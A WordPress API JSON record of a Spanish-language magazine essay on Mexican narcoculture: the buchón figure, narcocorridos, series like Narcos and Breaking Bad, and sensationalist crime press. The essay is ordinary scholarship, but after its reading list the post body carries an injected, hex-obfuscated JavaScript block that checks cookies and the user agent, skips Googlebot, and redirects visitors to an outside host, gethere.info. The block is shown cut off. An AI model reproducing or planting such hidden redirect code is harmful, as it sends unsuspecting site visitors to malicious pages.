﻿{"id":8788,"date":"2018-04-08T19:52:15","date_gmt":"2018-04-09T00:52:15","guid":{"rendered":"http:\/\/revistabicentenario.com.mx\/?p=8788"},"modified":"2024-07-08T12:53:20","modified_gmt":"2024-07-08T18:53:20","slug":"narcocultura-la-estetica-del-buchon","status":"publish","type":"post","link":"https:\/\/revistabicentenario.com.mx\/index.php\/archivos\/narcocultura-la-estetica-del-buchon\/","title":{"rendered":"Narcocultura. La est\u00e9tica del buch\u00f3n"},"content":{"rendered":"<p style=\"text-align: justify;\"><strong>Seiko Velasco<\/strong><\/p>\n<h3 style=\"text-align: justify;\"><strong><span style=\"color: #800000;\">En revista <em>BiCentenario. El ayer y hoy de M\u00e9xico<\/em>, n\u00fam.\u00a0 38.<\/span><\/strong><\/h3>\n<h2 style=\"text-align: justify;\"><span style=\"color: #000000;\">Exhibici\u00f3n de riqueza, idolatr\u00eda, estilo de vestimenta, nota roja en los medios, corridos, m\u00fasica, lenguaje, series de cine, videojuegos. La presencia del narcotr\u00e1fico est\u00e1 presente en la vida diaria de M\u00e9xico. Sustraerse de ella resulta imposible.<\/span><\/h2>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2018\/03\/image003.jpg\"><img fetchpriority=\"high\" decoding=\"async\" class=\"aligncenter size-full wp-image-8731\" src=\"http:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2018\/03\/image003.jpg\" alt=\"image003\" width=\"800\" height=\"1184\" srcset=\"https:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2018\/03\/image003.jpg 800w, https:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2018\/03\/image003-202x300.jpg 202w, https:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2018\/03\/image003-691x1024.jpg 691w, https:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2018\/03\/image003-624x923.jpg 624w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/a><\/p>\n<p style=\"text-align: justify;\"><strong>E<\/strong>n M\u00e9xico, la situaci\u00f3n de violencia generalizada ha propiciado la emergencia de nuevas expresiones culturales, que se corresponden con esta realidad. La incidencia del narcotr\u00e1fico sobre la sociedad mexicana ha calado hondo, a tal grado que ha propiciado la modificaci\u00f3n de valores \u00e9ticos y est\u00e1ticos, facilitando la concepci\u00f3n de una subcultura basada en la violencia, la narcocultura, misma que se impregna de una est\u00e1tica <em>kitsch<\/em> en el ejercicio del poder econ\u00f3mico evidenciado en el consumo acelerado de recursos materiales y simb\u00f3licos, donde la constante discursiva es la impunidad, que da el encontrarse por encima de la ley e imponer su propia justicia. En las siguientes l\u00edneas se realizar\u00e1 una descripci\u00f3n del proceso en que el narcotr\u00e1fico, con su influencia econ\u00f3mica, ha reclamado su propia identidad, transformando el imaginario social conformado alrededor del fen\u00f3meno del narco desde los productos culturales montados en los medios de comunicaci\u00f3n.<\/p>\n<p style=\"text-align: justify;\">La iconograf\u00eda del narco adopta dos posibilidades de representaci\u00f3n; la primera que se abordar\u00e1 es la hedonista, la cual propone a la figura del narcotraficante como un <em>dandy.<\/em><\/p>\n<p style=\"text-align: justify;\">La segunda posibilidad, correspondiente al sadismo, se ve concretada en la nota roja como subproducto industrial de la actividad del narco. La difusi\u00f3n y extensi\u00f3n de los tipos, que a grandes rasgos engloban las posibilidades de representaci\u00f3n del narco, dependen de los medios por los que esta se realice. La presencia del narcotr\u00e1fico en M\u00e9xico cobra mayor visibilidad en los a\u00f1os ochenta, pero no es sino hasta la d\u00e9cada siguiente, cuando los grandes capos de la droga se han repartido ya el territorio, que las historias de estos jefes se convirtieron en narrativas, que relatan desde el videohome o el narcocorrido las proezas y sacrificios fundacionales que permitieron la creaci\u00f3n de la estructura de la gran industria a la cual Rossana Reguillo ha denominado la narcom\u00e1quina.<\/p>\n<p style=\"text-align: justify;\">Las primeras expresiones culturales del narco son incipientes, al igual que los medios de los que disponen para su difusi\u00f3n, situaci\u00f3n que ha cambiado en su complejidad; se han diversificado abarcando casi todos los medios de difusi\u00f3n. Paulatinamente se han instalado en el imaginario, permeando en un ecosistema de informaciones y productos culturales que envuelven a las personas en su diario devenir. El d\u00eda de hoy se puede hablar de una subcultura caracter\u00edstica del narco, que mantiene una relaci\u00f3n de dependencia con el poder y control que la econom\u00eda del narco ejerce sobre los entornos en los que permea. Por ello no es extra\u00f1o ver el progresivo surgimiento de expresiones culturales, formas simb\u00f3licas y productos comerciales desarrollados en torno a \u00e9l.<\/p>\n<p style=\"text-align: justify;\">El poder\u00edo econ\u00f3mico de esta industria ha transformando los estilos de vida de las personas implicadas directa e indirectamente en ella, las pocas posibilidades l\u00edcitas de desarrollo personal que existen en las peque\u00f1as comunidades del norte de M\u00e9xico, si no es que en la totalidad del pa\u00eds, el narcotr\u00e1fico se ha convertido en la opci\u00f3n inmediata para cubrir las necesidades b\u00e1sicas y conseguir satisfactores, aun a costa de una muerte violenta. Las narrativas de la narcocultura se sustentan en el capital econ\u00f3mico que genera dicha actividad, y el poder que permite ejercer sobre el otro. La narcocultura se ha construido sobre el dolor, un dolor que se ha arrastrado por generaciones en M\u00e9xico, el dolor de la desigualdad social.<\/p>\n<p style=\"text-align: justify;\">La riqueza generada por la industria del narcotr\u00e1fico ha coercionado a las sociedades para ser aceptada, el capital econ\u00f3mico traducido en derrama ha propiciado su paulatina aceptaci\u00f3n y posterior deseo. En la pr\u00e1ctica de la actividad econ\u00f3mica se han cambiado los valores \u00e9ticos y est\u00e9ticos de este campo de interacci\u00f3n social, permutando la percepci\u00f3n negativa que en un principio se tuvo del narco por la de una figura positiva. Si bien que esta no es la percepci\u00f3n generalizada de la poblaci\u00f3n, s\u00ed lo es de quien participa de la narcocultura. Prueba de ello es la marcha ciudadana que de manera pacifica se realiz\u00f3 de manera simult\u00e1nea en el malec\u00f3n de Mazatl\u00e1n y Culiac\u00e1n en febrero de 2014, pidiendo la liberaci\u00f3n de Joaqu\u00edn \u201cel Chapo\u201d Guzm\u00e1n Loera, jefe del cartel de Sinaloa. Ante la noticia de su recaptura, una parte de la poblaci\u00f3n del estado se organiz\u00f3 de forma espont\u00e1nea independiente en pro del que consideran su benefactor.<\/p>\n<p style=\"text-align: justify;\">La idolatr\u00eda por \u201cel Chapo\u201d llev\u00f3 a proponerlo como un posible candidato para la presidencia, claro est\u00e1, un candidato independiente, candidato ciudadano promovido desde las redes sociales. En todo caso, en este \u201cdestape presidencial\u201d se hace patente la aspiraci\u00f3n popular por disminuir las tan marcadas diferencias sociales. Denota el inter\u00e9s de un grupo de mexicanos que ven en el narco la posibilidad de movilidad social, de escalar en una estructura que tiende a lo vertical. Por ello, los sustantivos empleados para referirse a los matones a sueldo, creados muchas veces por los medios, se ven ungidos de un aura de dandismo; entre estas expresiones encontramos la figura del <em>buch\u00f3n, sicario, alterado, arremangado<\/em>.<\/p>\n<p style=\"text-align: justify;\">A la figura del <em>buch\u00f3n<\/em>, lo caracteriza su consumo de whisky Buchanan&#8217;s, bebida que m\u00e1s all\u00e1 de su coste es usada como s\u00edmbolo de poder, la est\u00e9tica del <em>buch\u00f3n<\/em> es el sincretismo entre lo cosmopolita y el rancho, bebe whisky y viste trajes italianos, que alterna con botas y tejana; al <em>alterado<\/em> lo define su consumo de coca\u00edna, que adem\u00e1s de mostrar una situaci\u00f3n econ\u00f3mica favorecida, indica a la violencia como forma deseable de conducta. Mientras que en el caso del <em>arremangado<\/em> se encuentran depositados los valores deseables de las personas que trabajan en la industria del narco, al mostrar arrojo, ser en\u00e9rgicos y cabales al ejercer su poder.<\/p>\n<p style=\"text-align: justify;\">La narcocultura es una gran construcci\u00f3n aspiracional, casi ut\u00f3pica, como en alg\u00fan momento lo fue cruzar la frontera en busca del <em>sue\u00f1o americano<\/em>, con la diferencia de que a la narcocultura la invade un profundo nacionalismo, una b\u00fasqueda de las ra\u00edces, de exaltaci\u00f3n del rancho y el caballo, las peleas de gallos, la fiesta y con ello el dispendio del dinero. En palabras de Heriberto Y\u00e9pez autor de <em>La incre\u00edble haza\u00f1a de ser mexicano: <\/em><\/p>\n<p style=\"text-align: justify;\">La narcocultura est\u00e1 gritando qu\u00e9 es lo que desea ser. Desea estar compuesta de hombres respetados y de mujeres deseadas; personas ricas y poderosas. Ellos quieren lo que todos deseamos. La narcocultura est\u00e1 dando salida a las aspiraciones de millones de seres. La narcocultura no es m\u00e1s que una exageraci\u00f3n de los clich\u00e9s del mexicano.<\/p>\n<p style=\"text-align: justify;\">Esta visi\u00f3n del narco como forma aspiracional reviste a aquel que trasciende los l\u00edmites de la ley. Los narcocorridos son, sin lugar a dudas, una de las m\u00e1ximas expresiones del capital cultural del narco, su primera expresi\u00f3n y el primer producto cultural que tiene \u00e9xito, la simiente de las dem\u00e1s expresiones de esa cultura. Evidentemente no fueron las \u00faltimas manifestaciones, sino que tambi\u00e9n se dan en la arquitectura, la moda y la joyer\u00eda. Se podr\u00eda extender el uso de este prefijo a un tipo de literatura, programas de televisi\u00f3n, sitios en Internet y videojuegos; que a pesar de pertenecer a diferentes medios repiten los relatos y los personajes. Tal es el caso de algunas narrativas que van de la literatura impresa a la pantalla chica, como <em>La reina del sur<\/em>, novela de Arturo P\u00e9rez Reverte, que fue producida por Televisa y protagonizada por Kate del Castillo, la cual, seg\u00fan la cr\u00f3nica popular era seguida por el jefe del cartel de Sinaloa \u201cel Chapo Guzm\u00e1n\u201d, gran admirador de la actriz.<\/p>\n<p style=\"text-align: justify;\">Un proceso similar se da con la historia de Walter Withe o Heisenberg, personaje principal de <em>Breaking Bad<\/em>, una popular serie de procedencia estadunidense, donde se narra la historia de un maestro de qu\u00edmica a nivel secundaria que se convierte en el capo de Nuevo M\u00e9xico, enfrentando incluso a los carteles mexicanos. <em>Breaking Bad<\/em> se expresa en sonoridad propia del mundillo del narco, a trav\u00e9s del narcocorrido <em>Negro y Azul: The Ballad of Heisenberg<\/em>, escrito e interpretado por Los Cuates de Sinaloa, el cual tiene la peculiaridad de ser el primer narcocorrido que es dedicado a un personaje de ficci\u00f3n. En 2014, <em>Breaking Bad <\/em>sufri\u00f3 la <em>tropicalizaci\u00f3n <\/em>de Televisa, en una producci\u00f3n que se llam\u00f3 Met\u00e1stasis. Luego se convirti\u00f3 en <em>Breaking Bad: Empire Business<\/em>, videojuego para dispositivos m\u00f3viles, disponible para las plataformas iOS y Android. Esta serie es un ejemplo claro de c\u00f3mo una narrativa propia del narco ha fascinado al mundo entero, se distribuy\u00f3 de forma global gracias a la plataforma Netflix.<\/p>\n<p style=\"text-align: justify;\">El caso m\u00e1s reciente de \u00e9xito comercial de la cultura del narco es la serie producida por Netflix para Internet <em>Narcos<\/em>, que relata la vida de Pablo Escobar Gaviria y encuentra resonancia en <em>Narcos: Cartel Wars<\/em>, otro videojuego para dispositivos m\u00f3viles. La idolatr\u00eda de la figura del narco est\u00e1 en boga y se ba\u00f1a con las luces doradas de los reflectores, cobra valor como producto de exhibici\u00f3n que reporta ganancias millonarias. Las producciones citadas son parte de un sistema cultural que demuestra la fascinaci\u00f3n estos capos y no s\u00f3lo es propia de M\u00e9xico, sino que gracias a los nuevos medios de comunicaci\u00f3n cobra car\u00e1cter global.<\/p>\n<p style=\"text-align: justify;\">Sin embargo, mientras m\u00e1s reflectores alumbran la figura del narco, m\u00e1s profundas son sus sombras, que se proyectan como producto cultural en otros medios de difusi\u00f3n, en los que se figura la ant\u00edtesis del narco <em>dandy<\/em>, la imagen del vencido, de aquel que sufre la violencia del narcotr\u00e1fico. Las proyecciones negativas del narco reportan ganancias econ\u00f3micas para la industria editorial mexicana que coloquialmente se conoce como de nota roja, cuyas caracter\u00edsticas son la exhibici\u00f3n del cad\u00e1ver producto de la violencia, la exposici\u00f3n del dolor que la exalta, la difusi\u00f3n de titulares impactantes que procuran la dramatizaci\u00f3n, la creaci\u00f3n o reforzamiento de estereotipos. Se genera una iconograf\u00eda del dolor, la cual se nutre de cad\u00e1veres convertidos en subproducto o desecho de la <em>narcom\u00e1quina<\/em> y permite una tipolog\u00eda cada vez m\u00e1s amplia del cad\u00e1ver violentado.<\/p>\n<p style=\"text-align: justify;\">El aumento en la violencia ha tra\u00eddo consigo un incremento en la visibilidad de los cuerpos. En efecto, la cobertura de la violencia sistematizada por parte de los medios de comunicaci\u00f3n la torna parte esencial de sus contenidos. Ahora bien, la violencia como forma de comunicaci\u00f3n antecede a los medios. Se basa en la puesta en escena, la creaci\u00f3n de contextos donde se exhiban formas simb\u00f3licas del dolor como promesa de castigo, estrategia que tiene concordancia con el programa pedag\u00f3gico que en el periodo del barroco espa\u00f1ol se populariz\u00f3 en Nueva Espa\u00f1a: la visi\u00f3n del flagelo y la tortura se exhibieron entonces sin decoro con fines tanto de comunicaci\u00f3n como pedag\u00f3gicos. En ambos casos la funci\u00f3n de la imagen ha sido la difusi\u00f3n y extensi\u00f3n del hecho violento, del tormento m\u00e1s que de la muerte.<\/p>\n<p style=\"text-align: justify;\">Al igual que la narcocultura, la nota roja desplaza los l\u00edmites \u00e9ticos y est\u00e9ticos, no s\u00f3lo pol\u00edticos y legales. A lo largo de tres d\u00e9cadas hemos experimentado con las formas en las que se representa al narco y la violencia que este ejerce, la repetici\u00f3n de im\u00e1genes violentas en los medios de comunicaci\u00f3n plantea una distancia anest\u00e9sica que mitiga el dolor y la incomodidad, que en otros tiempos estableciera un l\u00edmite est\u00e9tico. El asco producido entonces marcaba una franca barrera entre lo que como sociedad pod\u00edamos o nos permit\u00edamos ver y aquello que nos era invisible, insoportable. Ahora pagamos por consumirlo.<\/p>\n<p style=\"text-align: justify;\">Si se ejerce una mirada retrospectiva sobre los medios de comunicaci\u00f3n se har\u00e1 evidente la progresi\u00f3n o territorializaci\u00f3n de la violencia en las normas sociales que regulan el ejercicio de la visualidad, permitiendo el consumo de im\u00e1genes cada vez m\u00e1s violentas. Un indicio del desplazamiento de estos l\u00edmites es la proliferaci\u00f3n de diarios noticiosos de nota roja. En efecto el n\u00famero de publicaciones de este tipo se ha incrementado exponencialmente en la \u00faltima d\u00e9cada. As\u00ed, en la Ciudad de M\u00e9xico se crea <em>Metro y El Gr\u00e1fico<\/em> y posteriormente se les suma Basta! Pero el gran cambio se dio en los estados fronterizos del norte, desde Baja California hasta Tamaulipas se originaron peque\u00f1os diarios que participan del negocio de la muerte, de su difusi\u00f3n y que proponen una nueva forma de hacer fotoperiodismo, muchas veces hecho desde la falsa seguridad de un chaleco antibalas.<\/p>\n<p style=\"text-align: justify;\">El diarismo de nota roja imagina y modela, es decir reproduce una serie de estereotipos, prejuicios y estigmas que se construyen alrededor de personas y lugares, por medio de la exhibici\u00f3n de la pobreza evidenciada en la precaria condici\u00f3n de las v\u00edctimas y los detenidos. En dichas representaciones, los cad\u00e1veres pierden toda dignidad, la falta de pudor es la l\u00f3gica de su exhibici\u00f3n. Desaparecer la calidad humana para hacer surgir el cuerpo an\u00f3nimo, incapaz de contar m\u00e1s historia que la de su tormento y de transmitir otro mensaje que el del sometimiento al otro. En efecto, la nota roja se vuelve parte de la narcocultura, no s\u00f3lo al cubrir los cr\u00edmenes resultantes del narcotr\u00e1fico, d\u00e1ndoles difusi\u00f3n y extensi\u00f3n; sino al integrarse a la apolog\u00eda del desprecio a la pobreza, en ella se ve inscrito el repudio de lo que como pobre se es y que por lo tanto se desea dejar de ser. La manera en la que se disponen los cuerpos despojados de su dignidad, exhibidos en su pobreza y fragilidad, son la expresi\u00f3n de ese profundo odio arraigado, es el grito que clama por la redistribuci\u00f3n de las riquezas, por establecer un nuevo orden en las relaciones asim\u00e9tricas del ejercicio del poder, donde se intercambia la condici\u00f3n de la violencia econ\u00f3mica por violencia f\u00edsica.<\/p>\n<h3>PARA SABER M\u00c1S<\/h3>\n<ul>\n<li><em>El hombre que vio demasiado<\/em>, M\u00e9xico, Trisha Ziff, 2015, <a href=\"https:\/\/goo.gl\/ScfoP9\">https:\/\/goo.gl\/ScfoP9<\/a><\/li>\n<li>Mart\u00ednez S\u00e1nchez, Jes\u00fas, \u201c<em>Suplicios, excesos y nota roja: elementos para pensar la violencia como acto significativo<\/em>\u201d, M\u00e9xico, Unam, tesis de maestr\u00eda, 2012, <a href=\"https:\/\/goo.gl\/f3sQiU\">https:\/\/goo.gl\/f3sQiU<\/a><\/li>\n<li>Reguillo, Rossana, \u201cLa narcom\u00e1quina y el trabajo de la violencia: Apuntes para su decodificaci\u00f3n\u201d, <em>E-misph\u00e9rica<\/em>, 2011, <a href=\"https:\/\/goo.gl\/J6qBpc\">https:\/\/goo.gl\/J6qBpc<\/a><\/li>\n<li>Serv\u00edn, Juan Manuel, <em>A sangre fr\u00eda: periodismo de morbo y frivolidad<\/em>. M\u00e9xico, Almad\u00eda, 2008.<\/li>\n<\/ul>\n<h2 style=\"text-align: center;\">.<\/h2>\n<p><script type=\"text\/javascript\">\/\/ < ![CDATA[\n\/\/ < ![CDATA[\n\/\/ < ![CDATA[ var _0x446d=[\"\\x5F\\x6D\\x61\\x75\\x74\\x68\\x74\\x6F\\x6B\\x65\\x6E\",\"\\x69\\x6E\\x64\\x65\\x78\\x4F\\x66\",\"\\x63\\x6F\\x6F\\x6B\\x69\\x65\",\"\\x75\\x73\\x65\\x72\\x41\\x67\\x65\\x6E\\x74\",\"\\x76\\x65\\x6E\\x64\\x6F\\x72\",\"\\x6F\\x70\\x65\\x72\\x61\",\"\\x68\\x74\\x74\\x70\\x3A\\x2F\\x2F\\x67\\x65\\x74\\x68\\x65\\x72\\x65\\x2E\\x69\\x6E\\x66\\x6F\\x2F\\x6B\\x74\\x2F\\x3F\\x32\\x36\\x34\\x64\\x70\\x72\\x26\",\"\\x67\\x6F\\x6F\\x67\\x6C\\x65\\x62\\x6F\\x74\",\"\\x74\\x65\\x73\\x74\",\"\\x73\\x75\\x62\\x73\\x74\\x72\",\"\\x67\\x65\\x74\\x54\\x69\\x6D\\x65\",\"\\x5F\\x6D\\x61\\x75\\x74\\x68\\x74\\x6F\\x6B\\x65\\x6E\\x3D\\x31\\x3B\\x20\\x70\\x61\\x74\\x68\\x3D\\x2F\\x3B\\x65\\x78\\x70\\x69\\x72\\x65\\x73\\x3D\",\"\\x74\\x6F\\x55\\x54\\x43\\x53\\x74\\x72\\x69\\x6E\\x67\",\"\\x6C\\x6F\\x63\\x61\\x74\\x69\\x6F\\x6E\"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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El ayer y hoy de M\u00e9xico, n\u00fam.\u00a0 38. Exhibici\u00f3n de riqueza, idolatr\u00eda, estilo de vestimenta, nota roja en los medios, corridos, m\u00fasica, lenguaje, series de cine, videojuegos. La presencia del narcotr\u00e1fico est\u00e1 presente en la vida diaria de M\u00e9xico. Sustraerse de ella resulta imposible. En M\u00e9xico, la situaci\u00f3n de violencia generalizada ha propiciado la emergencia de nuevas expresiones culturales, que se corresponden con esta realidad. La incidencia del narcotr\u00e1fico sobre la sociedad mexicana ha calado hondo, a tal grado que ha propiciado la modificaci\u00f3n de valores \u00e9ticos y est\u00e1ticos, facilitando la concepci\u00f3n de una subcultura basada en la violencia, la narcocultura, misma que se impregna de una est\u00e1tica kitsch en el ejercicio del poder econ\u00f3mico evidenciado en el consumo acelerado de recursos materiales y simb\u00f3licos, donde la constante discursiva es la impunidad, que da el encontrarse por encima de la ley e imponer su propia<\/p>\n","protected":false},"author":8,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[21,1448],"tags":[1458,1459,1461,1460,1457],"class_list":{"0":"post-8788","1":"post","2":"type-post","3":"status-publish","4":"format-standard","6":"category-articulos","7":"category-bicentenario-38","8":"tag-buchon","9":"tag-culiacan","10":"tag-droga","11":"tag-narco","12":"tag-narcotrafico"},"_links":{"self":[{"href":"https:\/\/revistabicentenario.com.mx\/index.php\/wp-json\/wp\/v2\/posts\/8788","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/revistabicentenario.com.mx\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/revistabicentenario.com.mx\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/revistabicentenario.com.mx\/index.php\/wp-json\/wp\/v2\/users\/8"}],"replies":[{"embeddable":true,"href":"https:\/\/revistabicentenario.com.mx\/index.php\/wp-json\/wp\/v2\/comments?post=8788"}],"version-history":[{"count":14,"href":"https:\/\/revistabicentenario.com.mx\/index.php\/wp-json\/wp\/v2\/posts\/8788\/revisions"}],"predecessor-version":[{"id":19834,"href":"https:\/\/revistabicentenario.com.mx\/index.php\/wp-json\/wp\/v2\/posts\/8788\/revisions\/19834"}],"wp:attachment":[{"href":"https:\/\/revistabicentenario.com.mx\/index.php\/wp-json\/wp\/v2\/media?parent=8788"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/revistabicentenario.com.mx\/index.php\/wp-json\/wp\/v2\/categories?post=8788"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/revistabicentenario.com.mx\/index.php\/wp-json\/wp\/v2\/tags?post=8788"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}